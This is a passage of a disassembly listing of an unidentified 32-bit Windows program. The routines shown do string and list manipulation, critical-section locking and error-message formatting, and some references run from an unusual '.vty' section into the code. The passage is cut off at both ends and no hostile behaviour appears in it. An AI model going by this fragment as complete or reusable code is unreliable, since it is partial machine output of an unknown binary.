call sub_401A4D
pop ebp
retn
sub_40196F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401989 proc near ; CODE XREF: sub_40195C+Dp
; sub_401A4D+B8p
var_830 = dword ptr -830h
var_82C = byte ptr -82Ch
var_810 = byte ptr -810h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
and esp, 0FFFFFFF8h
mov eax, large fs:0
push 0FFFFFFFFh
push offset loc_41B0E9
push eax
mov large fs:0, esp
sub esp, 828h
push ebx
push esi
push edi
mov edi, ecx
test edi, edi
jz short loc_401A29
lea esi, [esp+840h+var_82C]
call sub_4012E2
push [ebp+arg_8]
and [esp+844h+var_4], 0
push [ebp+arg_4]
lea eax, [esp+848h+var_810]
push 800h
push eax
call sub_40F6BE
add esp, 10h
lea eax, [esp+840h+var_810]
push eax
mov ecx, esi
call sub_4013A7
mov esi, [ebp+arg_0]
push esi
mov [esp+844h+var_830], edi
call dword_41C070 ; RtlEnterCriticalSection
lea edi, [esi+18h]
push dword ptr [edi+4]
lea ecx, [esp+840h+var_82C]
push edi
call sub_401F07
mov eax, [esi+20h]
cmp eax, [esi+24h]
jbe short loc_401A15
mov ebx, edi
call sub_401CA0
loc_401A15: ; CODE XREF: sub_401989+83j
push esi
call dword_41C06C ; RtlLeaveCriticalSection
push 0
push 1
lea ecx, [esp+848h+var_82C]
call sub_4013C4
loc_401A29: ; CODE XREF: sub_401989+28j
mov ecx, [esp+840h+var_C]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn 0Ch
sub_401989 endp
; ---------------------------------------------------------------------------
loc_401A40: ; CODE XREF: .vty:0041B0E4j
push 0
push 1
add ecx, 4
call sub_4013C4
retn
; =============== S U B R O U T I N E =======================================
sub_401A4D proc near ; CODE XREF: sub_40196F+13p
mov eax, offset loc_41B10D
call sub_41AE44
sub esp, 1Ch
push ebx
push esi
push edi
push dword ptr [ebp+10h]
lea ecx, [ebp-28h]
call sub_401C44
xor ebx, ebx
push ebx
push ebx
lea eax, [ebp+10h]
push eax
push ebx
push dword ptr [ebp+14h]
mov [ebp-4], ebx
push ebx
push 1100h
call dword_41C064 ; FormatMessageA
cmp [ebp+10h], ebx
jz short loc_401AAB
push dword ptr [ebp+10h]
call sub_40D970
pop ecx
jmp short loc_401AA6
; ---------------------------------------------------------------------------
loc_401A93: ; CODE XREF: sub_401A4D+5Aj
mov ecx, [ebp+10h]
add ecx, eax
mov dl, [ecx]
cmp dl, 0Dh
jz short loc_401AA4
cmp dl, 0Ah
jnz short loc_401AB2
loc_401AA4: ; CODE XREF: sub_401A4D+50j
mov [ecx], bl
loc_401AA6: ; CODE XREF: sub_401A4D+44j
dec eax
jnz short loc_401A93
jmp short loc_401AB2
; ---------------------------------------------------------------------------
loc_401AAB: ; CODE XREF: sub_401A4D+39j
mov dword ptr [ebp+10h], offset dword_41E020
loc_401AB2: ; CODE XREF: sub_401A4D+55j
; sub_401A4D+5Cj
mov esi, offset dword_41E024
jmp short loc_401AD4
; ---------------------------------------------------------------------------
loc_401AB9: ; CODE XREF: sub_401A4D+A0j
mov eax, [ebp+10h]
push eax
mov [ebp+14h], eax
call sub_40D970
pop ecx
push eax
push dword ptr [ebp+14h]
mov eax, edi
lea ecx, [ebp-28h]
call sub_401D1F
loc_401AD4: ; CODE XREF: sub_401A4D+6Aj
push esi
call sub_40D970
pop ecx
push eax
push esi
lea eax, [ebp-28h]
push eax
xor eax, eax
call sub_401E6B
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_401AB9
cmp dword ptr [ebp-10h], 10h
mov eax, [ebp-24h]
jnb short loc_401AFB
lea eax, [ebp-24h]
loc_401AFB: ; CODE XREF: sub_401A4D+A9j
push dword ptr [ebp+18h]
mov ecx, [ebp+0Ch]
push eax
push dword ptr [ebp+8]
call sub_401989
cmp dword ptr [ebp+10h], offset dword_41E020
jz short loc_401B1C
push dword ptr [ebp+10h]
call dword_41C074 ; LocalFree
loc_401B1C: ; CODE XREF: sub_401A4D+C4j
push ebx
push 1
lea ecx, [ebp-28h]
call sub_4013C4
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 14h
sub_401A4D endp
; =============== S U B R O U T I N E =======================================
sub_401B38 proc near ; CODE XREF: sub_405089+138p
mov eax, offset loc_41AF37
call sub_41AE44
sub esp, 14h
and dword ptr [ebp-14h], 0
push esi
mov esi, [ebp+8]
push edi
call sub_4012E2
and dword ptr [ebp-4], 0
push ebx
mov dword ptr [ebp-14h], 1
call dword_41C070 ; RtlEnterCriticalSection
lea edi, [ebx+18h]
mov eax, [edi+4]
mov eax, [eax]
mov [ebp-18h], eax
mov [ebp-1Ch], edi
loc_401B73: ; CODE XREF: sub_401B38+C0j
cmp dword ptr [ebp-1Ch], 0
mov esi, [edi+4]
jz short loc_401B81
cmp [ebp-1Ch], edi
jz short loc_401B86
loc_401B81: ; CODE XREF: sub_401B38+42j
call sub_40DCFC
loc_401B86: ; CODE XREF: sub_401B38+47j
cmp [ebp-18h], esi
jz short loc_401BFD
lea esi, [ebp-1Ch]
call sub_406402
mov eax, [eax]
cmp eax, [ebp+0Ch]
jg short loc_401BF0
call sub_406402
mov eax, [eax]
dec eax
jz short loc_401BCC
dec eax
jz short loc_401BC5
dec eax
jz short loc_401BBE
dec eax
jz short loc_401BB7
dec eax
jnz short loc_401BD9
push offset dword_41E048
jmp short loc_401BD1
; ---------------------------------------------------------------------------
loc_401BB7: ; CODE XREF: sub_401B38+73j
push offset dword_41E040
jmp short loc_401BD1
; ---------------------------------------------------------------------------
loc_401BBE: ; CODE XREF: sub_401B38+70j
push offset dword_41E038
jmp short loc_401BD1
; ---------------------------------------------------------------------------
loc_401BC5: ; CODE XREF: sub_401B38+6Dj
push offset dword_41E030
jmp short loc_401BD1
; ---------------------------------------------------------------------------
loc_401BCC: ; CODE XREF: sub_401B38+6Aj
push offset dword_41E028
loc_401BD1: ; CODE XREF: sub_401B38+7Dj
; sub_401B38+84j ...
push dword ptr [ebp+8]
call sub_401C66
loc_401BD9: ; CODE XREF: sub_401B38+76j
lea esi, [ebp-1Ch]
call sub_406402
mov esi, [ebp+8]
push 0FFFFFFFFh
add eax, 4
push 0
call sub_401F95
loc_401BF0: ; CODE XREF: sub_401B38+60j
lea esi, [ebp-1Ch]
call sub_405D8F
jmp loc_401B73
; ---------------------------------------------------------------------------
loc_401BFD: ; CODE XREF: sub_401B38+51j
mov esi, edi
call sub_401CE8
push ebx
call dword_41C06C ; RtlLeaveCriticalSection
mov ecx, [ebp-0Ch]
mov eax, [ebp+8]
pop edi
mov large fs:0, ecx
pop esi
leave
retn 8
sub_401B38 endp
; =============== S U B R O U T I N E =======================================
sub_401C1E proc near ; CODE XREF: sub_401869+26p
; sub_401919+2Cp ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push 0
mov dword ptr [esi+18h], 0Fh
call sub_401564
push 0FFFFFFFFh
push 0
push [esp+0Ch+arg_0]
mov ecx, esi
call sub_401315
mov eax, esi
pop esi
retn 4
sub_401C1E endp
; =============== S U B R O U T I N E =======================================
sub_401C44 proc near ; CODE XREF: sub_401A4D+16p
; sub_401F07+31p ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push 0
mov dword ptr [esi+18h], 0Fh
call sub_401564
push [esp+4+arg_0]
mov ecx, esi
call sub_4013A7
mov eax, esi
pop esi
retn 4
sub_401C44 endp
; =============== S U B R O U T I N E =======================================
sub_401C66 proc near ; CODE XREF: sub_401B38+9Cp
; sub_403C76+10Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
call sub_40D970
pop ecx
push eax
push [esp+4+arg_4]
mov eax, [esp+8+arg_0]
call sub_402039
retn 8
sub_401C66 endp
; =============== S U B R O U T I N E =======================================
sub_401C81 proc near ; CODE XREF: sub_4081BF+21Ep
; sub_4093C0+18p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_4]
call sub_40D970
pop ecx
push eax
push [esp+4+arg_4]
mov eax, [esp+8+arg_8]
push [esp+8+arg_0]
call sub_401E6B
retn 0Ch
sub_401C81 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401CA0 proc near ; CODE XREF: sub_401989+87p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebx+4]
push esi
push edi
mov edi, [eax]
lea esi, [ebp+var_8]
mov [ebp+var_8], ebx
mov [ebp+var_4], edi
call sub_405D8F
cmp edi, [ebx+4]
jz short loc_401CE4
mov eax, [edi+4]
mov ecx, [edi]
mov [eax], ecx
mov ecx, [edi+4]
mov eax, [edi]
push 0
mov [eax+4], ecx
push 1
lea ecx, [edi+0Ch]
call sub_4013C4
push edi
call sub_40DD8A
dec dword ptr [ebx+8]
pop ecx
loc_401CE4: ; CODE XREF: sub_401CA0+1Dj
pop edi
pop esi
leave
retn
sub_401CA0 endp
; =============== S U B R O U T I N E =======================================
sub_401CE8 proc near ; CODE XREF: sub_401B38+C7p
; .vty:0041B68Fp
mov eax, [esi+4]
push edi
mov edi, [eax]
mov [eax], eax
mov eax, [esi+4]
mov [eax+4], eax
and dword ptr [esi+8], 0
cmp edi, [esi+4]
jz short loc_401D1D
push ebx
loc_401D00: ; CODE XREF: sub_401CE8+32j
mov ebx, [edi]
push 0
push 1
lea ecx, [edi+0Ch]
call sub_4013C4
push edi
call sub_40DD8A
cmp ebx, [esi+4]
pop ecx
mov edi, ebx
jnz short loc_401D00
pop ebx
loc_401D1D: ; CODE XREF: sub_401CE8+15j
pop edi
retn
sub_401CE8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401D1F proc near ; CODE XREF: sub_401A4D+82p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push ebx
mov esi, eax
mov edi, ecx
mov [ebp+var_4], 2
call sub_4016D0
test al, al
jz short loc_401D5E
cmp dword ptr [edi+18h], 10h
jb short loc_401D4A
mov eax, [edi+4]
jmp short loc_401D4D
; ---------------------------------------------------------------------------
loc_401D4A: ; CODE XREF: sub_401D1F+24j
lea eax, [edi+4]
loc_401D4D: ; CODE XREF: sub_401D1F+29j
push [ebp+arg_4]
sub ebx, eax
push ebx
push edi
call sub_4020D3
jmp loc_401E64
; ---------------------------------------------------------------------------
loc_401D5E: ; CODE XREF: sub_401D1F+1Ej
cmp [edi+14h], esi
jnb short loc_401D68
call sub_40D7C3
loc_401D68: ; CODE XREF: sub_401D1F+42j
mov eax, [edi+14h]
mov ecx, eax
sub ecx, esi
cmp ecx, 2
jnb short loc_401D77
mov [ebp+var_4], ecx
loc_401D77: ; CODE XREF: sub_401D1F+53j
sub eax, [ebp+var_4]
or ecx, 0FFFFFFFFh
sub ecx, [ebp+arg_4]
cmp ecx, eax
ja short loc_401D89
call sub_40D784
loc_401D89: ; CODE XREF: sub_401D1F+63j
mov ebx, [edi+14h]
mov eax, [ebp+var_4]
sub ebx, esi
sub ebx, eax
cmp [ebp+arg_4], eax
jnb short loc_401DD0
mov eax, [edi+18h]
cmp eax, 10h
lea ecx, [edi+4]
jb short loc_401DA7
mov edx, [ecx]
jmp short loc_401DA9
; ---------------------------------------------------------------------------
loc_401DA7: ; CODE XREF: sub_401D1F+82j
mov edx, ecx
loc_401DA9: ; CODE XREF: sub_401D1F+86j
cmp eax, 10h
jb short loc_401DB0
mov ecx, [ecx]
loc_401DB0: ; CODE XREF: sub_401D1F+8Dj
sub eax, esi
sub eax, [ebp+arg_4]
add edx, esi
add edx, [ebp+var_4]
push ebx
push edx
push eax
mov eax, ecx
add eax, esi
add eax, [ebp+arg_4]
mov [ebp+var_8], ecx
push eax
call sub_401049
add esp, 10h
loc_401DD0: ; CODE XREF: sub_401D1F+77j
xor ecx, ecx
cmp [ebp+arg_4], ecx
ja short loc_401DE0
cmp [ebp+var_4], ecx
jbe loc_401E62
loc_401DE0: ; CODE XREF: sub_401D1F+B6j
mov eax, [edi+14h]
sub eax, [ebp+var_4]
push ecx
add eax, [ebp+arg_4]
mov ecx, edi
push eax
mov [ebp+var_8], eax
call sub_401580
test al, al
jz short loc_401E62
mov eax, [ebp+var_4]
cmp eax, [ebp+arg_4]
jnb short loc_401E34
mov eax, [edi+18h]
cmp eax, 10h
lea ecx, [edi+4]
jb short loc_401E10
mov edx, [ecx]
jmp short loc_401E12
; ---------------------------------------------------------------------------
loc_401E10: ; CODE XREF: sub_401D1F+EBj
mov edx, ecx
loc_401E12: ; CODE XREF: sub_401D1F+EFj
cmp eax, 10h
jb short loc_401E19
mov ecx, [ecx]
loc_401E19: ; CODE XREF: sub_401D1F+F6j
add edx, esi
add edx, [ebp+var_4]
push ebx
sub eax, esi
sub eax, [ebp+arg_4]
push edx
add ecx, esi
add ecx, [ebp+arg_4]
push eax
push ecx
call sub_401049
add esp, 10h
loc_401E34: ; CODE XREF: sub_401D1F+E0j
mov eax, [edi+18h]
cmp eax, 10h
jb short loc_401E41
mov ecx, [edi+4]
jmp short loc_401E44
; ---------------------------------------------------------------------------
loc_401E41: ; CODE XREF: sub_401D1F+11Bj
lea ecx, [edi+4]
loc_401E44: ; CODE XREF: sub_401D1F+120j
push [ebp+arg_4]
sub eax, esi
push [ebp+arg_0]
add ecx, esi
push eax
push ecx
call sub_40102D
add esp, 10h
push [ebp+var_8]
mov ecx, edi
call sub_401564
loc_401E62: ; CODE XREF: sub_401D1F+BBj
; sub_401D1F+D8j
mov eax, edi
loc_401E64: ; CODE XREF: sub_401D1F+3Aj
pop edi
pop esi
pop ebx
leave
retn 8
sub_401D1F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401E6B proc near ; CODE XREF: sub_401A4D+96p
; sub_401C81+17p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_8], 0
mov ecx, [ebp+arg_0]
jnz short loc_401E7D
cmp eax, [ecx+14h]
jbe short locret_401EEA
loc_401E7D: ; CODE XREF: sub_401E6B+Bj
push ebx
push esi
mov esi, [ecx+14h]
cmp eax, esi
push edi
jnb short loc_401EE4
sub esi, eax
cmp [ebp+arg_8], esi
ja short loc_401EE4
xor edx, edx
inc edx
sub edx, [ebp+arg_8]
add esi, edx
cmp dword ptr [ecx+18h], 10h
jb short loc_401EA6
add ecx, 4
mov [ebp+var_4], ecx
mov ecx, [ecx]
jmp short loc_401EAC
; ---------------------------------------------------------------------------
loc_401EA6: ; CODE XREF: sub_401E6B+2Fj
add ecx, 4
mov [ebp+var_4], ecx
loc_401EAC: ; CODE XREF: sub_401E6B+39j
lea ebx, [ecx+eax]
jmp short loc_401ECD
; ---------------------------------------------------------------------------
loc_401EB1: ; CODE XREF: sub_401E6B+77j
push [ebp+arg_8]
push [ebp+arg_4]
push edi
call sub_40DED2
add esp, 0Ch
test eax, eax
jz short loc_401EEE
sub ebx, edi
lea esi, [esi+ebx-1]
lea ebx, [edi+1]
loc_401ECD: ; CODE XREF: sub_401E6B+44j
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax]
push esi
push eax
push ebx
call sub_40F560
mov edi, eax
add esp, 0Ch
test edi, edi
jnz short loc_401EB1
loc_401EE4: ; CODE XREF: sub_401E6B+1Aj
; sub_401E6B+21j
or eax, 0FFFFFFFFh
loc_401EE7: ; CODE XREF: sub_401E6B+9Aj
pop edi
pop esi
pop ebx
locret_401EEA: ; CODE XREF: sub_401E6B+10j
leave
retn 0Ch
; ---------------------------------------------------------------------------
loc_401EEE: ; CODE XREF: sub_401E6B+57j
mov eax, [ebp+arg_0]
cmp dword ptr [eax+18h], 10h
jb short loc_401EFE
mov eax, [ebp+var_4]
mov ecx, [eax]
jmp short loc_401F01
; ---------------------------------------------------------------------------
loc_401EFE: ; CODE XREF: sub_401E6B+8Aj
mov ecx, [ebp+var_4]
loc_401F01: ; CODE XREF: sub_401E6B+91j
mov eax, edi
sub eax, ecx
jmp short loc_401EE7
sub_401E6B endp
; =============== S U B R O U T I N E =======================================
sub_401F07 proc near ; CODE XREF: sub_401989+78p
mov eax, offset loc_41AFA6
call sub_41AE44
sub esp, 48h
push esi
mov esi, [ebp+0Ch]
push dword ptr [esi+4]
push esi
call sub_4023B8
mov ecx, [edi+8]
mov edx, 7FFFFFFh
sub edx, ecx
cmp edx, 1
jnb short loc_401F62
push offset aListTTooLong ; "list<T> too long"
lea ecx, [ebp-2Ch]
call sub_401C44
and dword ptr [ebp-4], 0
lea eax, [ebp-2Ch]
push eax
lea ecx, [ebp-54h]
call sub_401869
push offset dword_41FEF8
lea eax, [ebp-54h]
push eax
mov dword ptr [ebp-54h], offset off_41C2A8
call sub_4107BC
loc_401F62: ; CODE XREF: sub_401F07+27j
inc ecx
mov [edi+8], ecx
mov [esi+4], eax
mov ecx, [eax+4]
mov [ecx], eax
mov ecx, [ebp-0Ch]
mov large fs:0, ecx
pop esi
leave
retn 8
sub_401F07 endp
; =============== S U B R O U T I N E =======================================
sub_401F7D proc near ; CODE XREF: sub_4024A7+25p
push 28h
call sub_40DE68
test eax, eax
pop ecx
jz short loc_401F8B
mov [eax], eax
loc_401F8B: ; CODE XREF: sub_401F7D+Aj
lea ecx, [eax+4]
test ecx, ecx
jz short locret_401F94
mov [ecx], eax
locret_401F94: ; CODE XREF: sub_401F7D+13j
retn
sub_401F7D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401F95 proc near ; CODE XREF: sub_401B38+B3p
; sub_402039+2Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, [ebp+arg_4]
push edi
mov edi, eax
mov eax, [edi+14h]
cmp eax, [ebp+arg_0]
jnb short loc_401FAD
call sub_40D7C3
loc_401FAD: ; CODE XREF: sub_401F95+11j
mov eax, [edi+14h]
sub eax, [ebp+arg_0]
cmp eax, ebx
jnb short loc_401FBC
mov ebx, eax
mov [ebp+arg_4], ebx
loc_401FBC: ; CODE XREF: sub_401F95+20j
or eax, 0FFFFFFFFh
sub eax, [esi+14h]
cmp eax, ebx
jbe short loc_401FD0
mov eax, [esi+14h]
lea ecx, [eax+ebx]
cmp ecx, eax
jnb short loc_401FD5
loc_401FD0: ; CODE XREF: sub_401F95+2Fj
call sub_40D784
loc_401FD5: ; CODE XREF: sub_401F95+39j
test ebx, ebx
jbe short loc_402031
mov eax, [esi+14h]
add eax, ebx
push 0
push eax
mov ecx, esi
mov [ebp+var_4], eax
call sub_401580
test al, al
jz short loc_402031
cmp dword ptr [edi+18h], 10h
jb short loc_401FFA
mov edi, [edi+4]
jmp short loc_401FFD
; ---------------------------------------------------------------------------
loc_401FFA: ; CODE XREF: sub_401F95+5Ej
add edi, 4
loc_401FFD: ; CODE XREF: sub_401F95+63j
mov eax, [esi+18h]
loc_402000: ; DATA XREF: .vty:00427598r
cmp eax, 10h
jb short loc_40200A ; DATA XREF: .vty:00427586r
mov edx, [esi+4]
loc_402008: ; DATA XREF: .vty:00427580r
jmp short loc_40200D
; ---------------------------------------------------------------------------
loc_40200A: ; CODE XREF: sub_401F95+6Ej
; DATA XREF: sub_4274B4+9Br
lea edx, [esi+4]
loc_40200D: ; CODE XREF: sub_401F95:loc_402008j
push [ebp+arg_4]
loc_402010: ; DATA XREF: sub_4274B4+1Dr
mov ecx, [esi+14h]
mov ebx, [ebp+arg_0] ; DATA XREF: sub_4274B4+69r
add edi, ebx
loc_402018: ; DATA XREF: sub_4274B4+49r
sub eax, ecx
push edi
push eax
loc_40201C: ; DATA XREF: sub_4274B4+56r
add ecx, edx
push ecx
call sub_40102D ; DATA XREF: sub_4274B4+23r
loc_402024: ; DATA XREF: sub_4274B4+Dr
add esp, 10h
push [ebp+var_4]
mov ecx, esi
loc_40202C: ; DATA XREF: .vty:004275B8r
call sub_401564
loc_402031: ; CODE XREF: sub_401F95+42j
; sub_401F95+58j
pop edi
mov eax, esi
pop ebx
leave
retn 8
sub_401F95 endp
; =============== S U B R O U T I N E =======================================
sub_402039 proc near ; CODE XREF: sub_401C66+13p
; sub_403E41+1DAp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
push edi
mov edi, [esp+0Ch+arg_0]
mov esi, eax
push edi
mov ecx, esi
call sub_4016D0
test al, al
jz short loc_40206D
cmp dword ptr [esi+18h], 10h
jb short loc_40205D
mov eax, [esi+4]
jmp short loc_402060
; ---------------------------------------------------------------------------
loc_40205D: ; CODE XREF: sub_402039+1Dj
lea eax, [esi+4]
loc_402060: ; CODE XREF: sub_402039+22j
sub edi, eax
push ebx
push edi
mov eax, esi
call sub_401F95
jmp short loc_4020CD
; ---------------------------------------------------------------------------
loc_40206D: ; CODE XREF: sub_402039+17j
or eax, 0FFFFFFFFh
sub eax, [esi+14h]
cmp eax, ebx
jbe short loc_402081
mov eax, [esi+14h]
lea ecx, [eax+ebx]
cmp ecx, eax
jnb short loc_402086
loc_402081: ; CODE XREF: sub_402039+3Cj
call sub_40D784
loc_402086: ; CODE XREF: sub_402039+46j
test ebx, ebx
jbe short loc_4020CB
mov edi, [esi+14h]
push 0
add edi, ebx
push edi
mov ecx, esi
call sub_401580
test al, al
jz short loc_4020CB
mov eax, [esi+18h]
cmp eax, 10h
jb short loc_4020AA
mov edx, [esi+4]
jmp short loc_4020AD
; ---------------------------------------------------------------------------
loc_4020AA: ; CODE XREF: sub_402039+6Aj
lea edx, [esi+4]
loc_4020AD: ; CODE XREF: sub_402039+6Fj
mov ecx, [esi+14h]
push ebx
push [esp+10h+arg_0]
sub eax, ecx
push eax
add ecx, edx
push ecx
call sub_40102D
add esp, 10h
push edi
mov ecx, esi
call sub_401564
loc_4020CB: ; CODE XREF: sub_402039+4Fj
; sub_402039+62j
mov eax, esi
loc_4020CD: ; CODE XREF: sub_402039+32j
pop edi
pop esi
pop ebx
retn 8
sub_402039 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4020D3 proc near ; CODE XREF: sub_401D1F+35p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
cmp [edi+14h], esi
push ebx
push 2
pop ebx
mov [ebp+var_4], ebx
jb short loc_4020F0
mov eax, [ebp+arg_0]
mov eax, [eax+14h]
cmp eax, [ebp+arg_4]
jnb short loc_4020F5
loc_4020F0: ; CODE XREF: sub_4020D3+10j
call sub_40D7C3
loc_4020F5: ; CODE XREF: sub_4020D3+1Bj
mov ecx, [edi+14h]
mov eax, ecx
sub eax, esi
cmp eax, ebx
jnb short loc_402103
mov [ebp+var_4], eax
loc_402103: ; CODE XREF: sub_4020D3+2Bj
mov eax, [ebp+arg_0]
mov eax, [eax+14h]
sub eax, [ebp+arg_4]
cmp eax, [ebp+arg_8]
jnb short loc_402114
mov [ebp+arg_8], eax
loc_402114: ; CODE XREF: sub_4020D3+3Cj
sub ecx, [ebp+var_4]
or eax, 0FFFFFFFFh
sub eax, [ebp+arg_8]
cmp eax, ecx
ja short loc_402126
call sub_40D784
loc_402126: ; CODE XREF: sub_4020D3+4Cj
mov eax, [edi+14h]
mov ecx, eax
sub ecx, [ebp+var_4]
mov ebx, eax
add ecx, [ebp+arg_8]
sub ebx, esi
sub ebx, [ebp+var_4]
cmp eax, ecx
mov [ebp+var_8], ebx
mov [ebp+var_C], ecx
jnb short loc_40214C
push 0
push ecx
mov ecx, edi
call sub_401580
loc_40214C: ; CODE XREF: sub_4020D3+6Dj
cmp edi, [ebp+arg_0]
jz short loc_4021C3
mov eax, [edi+18h]
cmp eax, 10h
jb short loc_40215E
mov edx, [edi+4]
jmp short loc_402161
; ---------------------------------------------------------------------------
loc_40215E: ; CODE XREF: sub_4020D3+84j
lea edx, [edi+4]
loc_402161: ; CODE XREF: sub_4020D3+89j
cmp eax, 10h
jb short loc_40216B
mov ecx, [edi+4]
jmp short loc_40216E
; ---------------------------------------------------------------------------
loc_40216B: ; CODE XREF: sub_4020D3+91j
lea ecx, [edi+4]
loc_40216E: ; CODE XREF: sub_4020D3+96j
add edx, esi
add edx, [ebp+var_4]
push ebx
sub eax, esi
sub eax, [ebp+arg_8]
push edx
add ecx, esi
add ecx, [ebp+arg_8]
push eax
push ecx
call sub_401049
mov eax, [ebp+arg_0]
add esp, 10h
cmp dword ptr [eax+18h], 10h
jb short loc_402197
mov edx, [eax+4]
jmp short loc_40219A
; ---------------------------------------------------------------------------
loc_402197: ; CODE XREF: sub_4020D3+BDj
lea edx, [eax+4]
loc_40219A: ; CODE XREF: sub_4020D3+C2j
mov eax, [edi+18h]
cmp eax, 10h
jb short loc_4021A7
mov ecx, [edi+4]
jmp short loc_4021AA
; ---------------------------------------------------------------------------
loc_4021A7: ; CODE XREF: sub_4020D3+CDj
lea ecx, [edi+4]
loc_4021AA: ; CODE XREF: sub_4020D3+D2j
push [ebp+arg_8]
mov ebx, [ebp+arg_4]
add edx, ebx
push edx
sub eax, esi
push eax
add ecx, esi
push ecx
call sub_40102D
jmp loc_4023A4
; ---------------------------------------------------------------------------
loc_4021C3: ; CODE XREF: sub_4020D3+7Cj
mov eax, [ebp+var_4]
cmp [ebp+arg_8], eax
lea ebx, [edi+4]
ja short loc_402231
mov eax, [edi+18h]
cmp eax, 10h
jb short loc_4021DA
mov ecx, [ebx]
jmp short loc_4021DC
; ---------------------------------------------------------------------------
loc_4021DA: ; CODE XREF: sub_4020D3+101j
mov ecx, ebx
loc_4021DC: ; CODE XREF: sub_4020D3+105j
cmp eax, 10h
jb short loc_4021E8
mov edx, [ebx]
mov [ebp+arg_0], edx
jmp short loc_4021EB
; ---------------------------------------------------------------------------
loc_4021E8: ; CODE XREF: sub_4020D3+10Cj
mov [ebp+arg_0], ebx
loc_4021EB: ; CODE XREF: sub_4020D3+113j
push [ebp+arg_8]
mov edx, [ebp+arg_4]
add ecx, edx
sub eax, esi
push ecx
push eax
mov eax, [ebp+arg_0]
add eax, esi
push eax
call sub_401049
mov eax, [edi+18h]
add esp, 10h
cmp eax, 10h
jb short loc_402211
mov ecx, [ebx]
jmp short loc_402213
; ---------------------------------------------------------------------------
loc_402211: ; CODE XREF: sub_4020D3+138j
mov ecx, ebx
loc_402213: ; CODE XREF: sub_4020D3+13Cj
cmp eax, 10h
jb short loc_40221A
mov ebx, [ebx]
loc_40221A: ; CODE XREF: sub_4020D3+143j
push [ebp+var_8]
add ecx, esi
add ecx, [ebp+var_4]
sub eax, esi
sub eax, [ebp+arg_8]
add ebx, esi
add ebx, [ebp+arg_8]
jmp loc_40239C
; ---------------------------------------------------------------------------
loc_402231: ; CODE XREF: sub_4020D3+F9j
cmp [ebp+arg_4], esi
ja short loc_402299
mov eax, [edi+18h]
cmp eax, 10h
jb short loc_402242
mov ecx, [ebx]
jmp short loc_402244
; ---------------------------------------------------------------------------
loc_402242: ; CODE XREF: sub_4020D3+169j
mov ecx, ebx
loc_402244: ; CODE XREF: sub_4020D3+16Dj
cmp eax, 10h
jb short loc_402250
mov edx, [ebx]
mov [ebp+arg_0], edx
jmp short loc_402253
; ---------------------------------------------------------------------------
loc_402250: ; CODE XREF: sub_4020D3+174j
mov [ebp+arg_0], ebx
loc_402253: ; CODE XREF: sub_4020D3+17Bj
push [ebp+var_8]
sub eax, esi
sub eax, [ebp+arg_8]
add ecx, esi
add ecx, [ebp+var_4]
push ecx
push eax
mov eax, [ebp+arg_0]
add eax, esi
add eax, [ebp+arg_8]
push eax
call sub_401049
mov eax, [edi+18h]
add esp, 10h
cmp eax, 10h
jb short loc_40227F
mov ecx, [ebx]
jmp short loc_402281
; ---------------------------------------------------------------------------
loc_40227F: ; CODE XREF: sub_4020D3+1A6j
mov ecx, ebx
loc_402281: ; CODE XREF: sub_4020D3+1AAj
cmp eax, 10h
jb short loc_402288
mov ebx, [ebx]
loc_402288: ; CODE XREF: sub_4020D3+1B1j
mov edx, [ebp+arg_4]
add ecx, edx
loc_40228D: ; CODE XREF: sub_4020D3+228j
push [ebp+arg_8]
sub eax, esi
add ebx, esi
jmp loc_40239C
; ---------------------------------------------------------------------------
loc_402299: ; CODE XREF: sub_4020D3+161j
add eax, esi
cmp eax, [ebp+arg_4]
mov eax, [edi+18h]
ja short loc_4022FD
cmp eax, 10h
jb short loc_4022AC
mov ecx, [ebx]
jmp short loc_4022AE
; ---------------------------------------------------------------------------
loc_4022AC: ; CODE XREF: sub_4020D3+1D3j
mov ecx, ebx
loc_4022AE: ; CODE XREF: sub_4020D3+1D7j
cmp eax, 10h
jb short loc_4022BA
mov edx, [ebx]
mov [ebp+arg_0], edx
jmp short loc_4022BD
; ---------------------------------------------------------------------------
loc_4022BA: ; CODE XREF: sub_4020D3+1DEj
mov [ebp+arg_0], ebx
loc_4022BD: ; CODE XREF: sub_4020D3+1E5j
push [ebp+var_8]
sub eax, esi
sub eax, [ebp+arg_8]
add ecx, esi
add ecx, [ebp+var_4]
push ecx
push eax
mov eax, [ebp+arg_0]
add eax, esi
add eax, [ebp+arg_8]
push eax
call sub_401049
mov eax, [edi+18h]
add esp, 10h
cmp eax, 10h
jb short loc_4022E9
mov ecx, [ebx]
jmp short loc_4022EB
